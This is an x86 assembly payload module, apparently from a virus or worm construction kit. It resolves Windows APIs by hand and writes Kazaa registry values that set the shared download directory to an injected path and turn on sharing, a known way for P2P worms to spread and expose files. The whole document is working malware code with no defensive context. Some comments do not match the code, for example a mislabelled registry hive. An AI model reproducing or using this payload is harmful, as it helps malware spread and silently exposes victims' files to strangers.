;%%%5 1 KAZA Change shared directory in KAZAA

;###LoadLibraryA
;###GetProcAddress
payload:
	pushad

;retrieve user32.dll base

	X_PUSH eax,SHLWAPI.DLL~
	push esp
	call delta
  	call [ebp+_LoadLibraryA]
	X_POP

;get the api

	X_PUSH ecx,SHSetValueA~
	push esp
  	push eax
  	call [ebp+_GetProcAddress]
	xchg eax,edi
	X_POP
	mov ebp,esp

;call the API

	X_PUSH ecx,Software\Kazaa\LocalContent\~
	mov ecx,esp

	X_PUSH edx,DownloadDir~
	mov edx,esp
	X_PUSH ebx,%s~
	mov ebx,esp
	mov eax,1				;REG_SZ
	call set_registry

	X_PUSH edx,DisableSharing~
	mov edx,esp
	X_PUSH ebx,~~~~
	mov ebx,esp
	mov eax,4				;REG_DWORD
	call set_registry

  @@done:
	mov esp,ebp
	popad
	ret


set_registry:
	pushad

	cmp eax,4
	jne @@getsz
	mov ecx,eax
	jmp @@donecnt

  @@getsz:
	mov esi,ebx
	sub ecx,ecx
  @@count:
	lodsb
	test al,al
	je @@donecnt
	inc ecx
	jmp @@count
  @@donecnt:

	push ecx
	push ebx
	push dwo [esp.Pushad_eax+2*4]
	push edx
	push dwo [esp.Pushad_ecx+4*4]
	push 80000001h			;HKEY_LOCAL_USER
	call edi

	popad
	ret